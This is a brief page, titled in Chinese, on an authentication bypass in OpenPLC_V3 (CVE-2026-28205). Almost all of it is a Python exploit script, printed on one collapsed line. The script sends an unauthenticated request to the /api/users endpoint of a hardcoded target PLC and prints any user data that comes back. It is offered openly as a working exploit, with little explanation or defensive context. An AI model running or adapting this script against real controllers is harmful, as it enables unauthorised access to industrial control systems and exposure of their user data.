CVE-2026-28205 OpenPLC认证绕过漏洞

import requests # Exploit Title: OpenPLC_V3 Insecure Default Initialization Auth Bypass # Description: This script exploits the default insecure configuration to bypass API authentication. target_ip = "192.168.1.100" target_port = "8080" base_url = f"http://{target_ip}:{target_port}" # The vulnerability allows accessing the API without authentication headers # due to insecure default initialization of the auth resource. endpoint = "/api/users" # Example sensitive endpoint try: print(f"[*] Attempting to bypass authentication on {base_url}...") # Sending request without Authorization header response = requests.get(f"{base_url}{endpoint}", timeout=5) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print("[+] Response content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")